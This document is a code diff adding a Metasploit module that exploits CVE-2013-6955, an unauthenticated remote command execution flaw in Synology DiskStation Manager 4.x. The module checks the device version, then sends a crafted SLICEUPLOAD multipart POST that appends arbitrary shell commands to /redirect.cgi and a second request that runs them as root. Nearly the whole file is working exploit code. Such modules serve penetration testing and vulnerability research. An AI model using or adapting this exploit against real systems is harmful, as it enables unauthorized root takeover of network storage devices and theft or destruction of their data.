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| 1 | +## |
| 2 | +## This module requires Metasploit: http//metasploit.com/download |
| 3 | +## Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +### |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+) |
| 14 | + &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x |
| 15 | + |
| 16 | + def initialize(info={}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => "Synology DiskStation Manager SLICEUPLOAD Unauthenticated Remote Command Execution", |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a vulnerability found in Synology DiskStation Manager (DSM) |
| 21 | + versions 4.x, which allows the execution of arbitrary commands under root |
| 22 | + privileges. |
| 23 | + The vulnerability is located in /webman/imageSelector.cgi, which allows to append |
| 24 | + arbitrary data to a given file using a so called SLICEUPLOAD functionality, which |
| 25 | + can be triggered by an unauthenticated user with a specially crafted HTTP request. |
| 26 | + This is exploited by this module to append the given commands to /redirect.cgi, |
| 27 | + which is a regular shell script file, and can be invoked with another HTTP request. |
| 28 | + Synology reported that the vulnerability has been fixed with versions 4.0-2259, |
| 29 | + 4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable. |
| 30 | + }, |
| 31 | + 'Author' => |
| 32 | + [ |
| 33 | + 'Markus Wulftange' # Discovery, Metasploit module |
| 34 | + ], |
| 35 | + 'License' => MSF_LICENSE, |
| 36 | + 'Privileged' => false, |
| 37 | + 'DisclosureDate' => 'Oct 31 2013', |
| 38 | + 'References' => |
| 39 | + [ |
| 40 | + ['CVE', '2013-6955'], |
| 41 | + ] |
| 42 | + )) |
| 43 | + |
| 44 | + register_options( |
| 45 | + [ |
| 46 | + Opt::RPORT(5000), |
| 47 | + OptString.new('CMD', [true, 'The shell command to execute']) |
| 48 | + ], self.class) |
| 49 | + end |
| 50 | + |
| 51 | + def peer |
| 52 | + "#{rhost}:#{rport}" |
| 53 | + end |
| 54 | + |
| 55 | + def check |
| 56 | + print_status("#{peer} - Trying to detect installed version") |
| 57 | + |
| 58 | + res = send_request_cgi({ |
| 59 | + 'method' => 'GET', |
| 60 | + 'uri' => normalize_uri('/webman/info.cgi?host=') |
| 61 | + }) |
| 62 | + |
| 63 | + if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN |
| 64 | + version = "#{$~[:major]}.#{$~[:minor]}" |
| 65 | + build = $~[:build] |
| 66 | + model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase } |
| 67 | + model = "DS#{model}" unless model =~ /^[A-Z]/ |
| 68 | + else |
| 69 | + print_status("#{peer} - Detection failed") |
| 70 | + return Exploit::CheckCode::Unknown |
| 71 | + end |
| 72 | + |
| 73 | + print_status("#{peer} - Model #{model} with version #{version}-#{build} detected") |
| 74 | + |
| 75 | + case version |
| 76 | + when '4.0' |
| 77 | + return Exploit::CheckCode::Vulnerable if build < '2259' |
| 78 | + when '4.1' |
| 79 | + return Exploit::CheckCode::Vulnerable |
| 80 | + when '4.2' |
| 81 | + return Exploit::CheckCode::Vulnerable if build < '3243' |
| 82 | + when '4.3' |
| 83 | + return Exploit::CheckCode::Vulnerable if build < '3810' |
| 84 | + return Exploit::CheckCode::Detected if build == '3810' |
| 85 | + end |
| 86 | + |
| 87 | + Exploit::CheckCode::Safe |
| 88 | + end |
| 89 | + |
| 90 | + def run |
| 91 | + cmds = [ |
| 92 | + # sed is used to restore the redirect.cgi |
| 93 | + "sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi", |
| 94 | + datastore['CMD'] |
| 95 | + ].join("\n") |
| 96 | + |
| 97 | + mime_msg = Rex::MIME::Message.new |
| 98 | + mime_msg.add_part('login', nil, nil, 'form-data; name="source"') |
| 99 | + mime_msg.add_part('logo', nil, nil, 'form-data; name="type"') |
| 100 | + |
| 101 | + # unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n, |
| 102 | + # so we use a placeholder and replace it later |
| 103 | + cmd_placeholder = Rex::Text::rand_text_alphanumeric(10) |
| 104 | + mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil, |
| 105 | + 'form-data; name="foo"; filename="bar"') |
| 106 | + |
| 107 | + post_body = mime_msg.to_s |
| 108 | + post_body.strip! |
| 109 | + post_body.sub!(cmd_placeholder, cmds) |
| 110 | + |
| 111 | + # fix multipart encoding |
| 112 | + post_body.gsub!(/\r\n(--#{mime_msg.bound})/, ' \\1') |
| 113 | + |
| 114 | + # send request to append shell commands |
| 115 | + res = send_request_cgi({ |
| 116 | + 'method' => 'POST', |
| 117 | + 'uri' => '/webman/imageSelector.cgi', |
| 118 | + 'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}", |
| 119 | + 'headers' => { |
| 120 | + 'X-TYPE-NAME' => 'SLICEUPLOAD', |
| 121 | + 'X-TMP-FILE' => '/usr/syno/synoman/redirect.cgi' |
| 122 | + }, |
| 123 | + 'data' => post_body |
| 124 | + }) |
| 125 | + |
| 126 | + if !res or res.code != 200 or !res.body.include?('error_noprivilege') |
| 127 | + print_error("#{peer} - Unexpected response, probably the exploit failed") |
| 128 | + return |
| 129 | + end |
| 130 | + |
| 131 | + # send request to invoke the injected shell commands |
| 132 | + res = send_request_cgi({ |
| 133 | + 'method' => 'GET', |
| 134 | + 'uri' => '/redirect.cgi' |
| 135 | + }) |
| 136 | + |
| 137 | + if !res or res.code != 200 |
| 138 | + print_error("#{peer} - Unexpected response, probably the exploit failed") |
| 139 | + return |
| 140 | + end |
| 141 | + |
| 142 | + print_good("#{peer} - Command successfully executed") |
| 143 | + print_line(res.body) |
| 144 | + end |
| 145 | +end |
| 146 | + |
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